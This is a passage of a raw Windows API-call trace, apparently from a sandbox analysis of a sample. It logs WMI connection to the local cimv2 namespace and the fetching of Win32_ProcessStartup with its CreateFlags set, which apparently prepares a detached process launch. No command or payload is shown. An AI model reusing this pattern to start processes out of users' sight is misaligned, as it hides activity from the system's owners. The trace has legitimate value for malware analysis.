(in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bb839c0) returned 0x0 [0154.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb839c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0154.888] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb839c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0b6d0) returned 0x0 [0154.888] WbemDefPath:IUnknown:Release (This=0x1bb839c0) returned 0x0 [0154.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0b6d0) returned 0x0 [0154.888] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0154.889] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0154.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0154.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0154.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bb83a00) returned 0x0 [0154.889] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83a00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.889] WbemDefPath:IUnknown:Release (This=0x1bb83a00) returned 0x3 [0154.889] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0154.889] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0154.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0154.889] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0154.889] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x1 [0154.889] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0154.889] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0154.889] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b6d0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0b6d0) returned 0x0 [0154.890] WbemDefPath:IUnknown:AddRef (This=0x1aa0b6d0) returned 0x3 [0154.890] WbemDefPath:IUnknown:Release (This=0x1aa0b6d0) returned 0x2 [0154.890] WbemDefPath:IWbemPath:SetText (This=0x1aa0b6d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0154.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.890] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0154.890] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.890] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0154.890] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0154.890] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0154.890] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.891] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bb836e0) returned 0x0 [0154.891] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb836e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0154.892] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bb836e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bb83700) returned 0x0 [0154.892] WbemLocator:IUnknown:Release (This=0x1bb836e0) returned 0x0 [0154.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bb83700) returned 0x0 [0154.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0154.892] WbemLocator:IUnknown:AddRef (This=0x1bb83700) returned 0x3 [0154.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0154.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0154.892] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0154.892] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0154.892] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0154.893] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0154.893] WbemLocator:IUnknown:Release (This=0x1bb83700) returned 0x2 [0154.893] WbemLocator:IUnknown:Release (This=0x1bb83700) returned 0x1 [0154.893] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0154.893] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0154.893] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb83700, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bb83700) returned 0x0 [0154.893] WbemLocator:IUnknown:AddRef (This=0x1bb83700) returned 0x3 [0154.893] WbemLocator:IUnknown:Release (This=0x1bb83700) returned 0x2 [0154.893] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b6d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.893] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0154.893] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b6d0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.893] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bb83720) returned 0x0 [0154.893] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bb83720, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbaa9f0) returned 0x0 [0155.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa9f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdcb00) returned 0x0 [0155.045] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdcb00, pProxy=0x1bbaa9f0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0155.045] WbemLocator:IUnknown:Release (This=0x1bbdcb00) returned 0x1 [0155.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa9f0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdcb40) returned 0x0 [0155.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa9f0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdcb00) returned 0x0 [0155.045] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdcb00, pProxy=0x1bbaa9f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0155.045] WbemLocator:IUnknown:Release (This=0x1bbdcb00) returned 0x2 [0155.045] WbemLocator:IUnknown:Release (This=0x1bbdcb40) returned 0x1 [0155.045] CoTaskMemFree (pv=0x1a9d0db0) [0155.045] WbemLocator:IUnknown:AddRef (This=0x1bbaa9f0) returned 0x2 [0155.045] WbemLocator:IUnknown:Release (This=0x1bb83720) returned 0x0 [0155.046] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0155.046] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0155.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa9f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdcb10) returned 0x0 [0155.046] WbemLocator:IRpcOptions:Query (in: This=0x1bbdcb10, pPrx=0x1bb83620, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0155.046] WbemLocator:IUnknown:Release (This=0x1bbdcb10) returned 0x2 [0155.046] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0155.046] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0155.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbaa9f0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bbaa9f0) returned 0x0 [0155.046] WbemLocator:IUnknown:Release (This=0x1bbaa9f0) returned 0x2 [0155.046] SysStringLen (param_1=0x0) returned 0x0 [0155.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0155.046] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b790, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0155.047] IWbemServices:GetObject (in: This=0x1bbaa9f0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bcf60f0, ppCallResult=0x0) returned 0x0 [0155.048] IWbemClassObject:Get (in: This=0x1bcf60f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0155.048] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0155.048] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0155.048] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0155.049] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0155.049] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0155.049] IUnknown:Release (This=0x1a943398) returned 0x1 [0155.050] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bb83720) returned 0x0 [0155.050] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb83720, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0155.051] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb83720, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0b610) returned 0x0 [0155.051] WbemDefPath:IUnknown:Release (This=0x1bb83720) returned 0x0 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0b610) returned 0x0 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0155.051] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bb83640) returned 0x0 [0155.051] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb83640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0155.051] WbemDefPath:IUnknown:Release (This=0x1bb83640) returned 0x3 [0155.051] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0155.051] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0155.051] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0155.051] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0155.051] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x1 [0155.052] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0155.052] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0155.052] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b610, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0b610) returned 0x0 [0155.052] WbemDefPath:IUnknown:AddRef (This=0x1aa0b610) returned 0x3 [0155.052] WbemDefPath:IUnknown:Release (This=0x1aa0b610) returned 0x2 [0155.052] WbemDefPath:IWbemPath:SetText (This=0x1aa0b610, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0155.052] IWbemClassObject:Get (in: This=0x1bcf60f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28627d0*=0, plFlavor=0x28627d4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28627d0*=19, plFlavor=0x28627d4*=0) returned 0x0 [0155.052] IWbemClassObject:Get (in: This=0x1bcf60f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28627d0*=19, plFlavor=0x28627d4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28627d0*=19, plFlavor=0x28627d4*=0) returned 0x0 [0155.052] IWbemClassObject:Put (This=0x1bcf60f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0155.052] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b850, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0155.052] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0155.052] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0155.052] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0155.052] CoGetObjectContext (in: 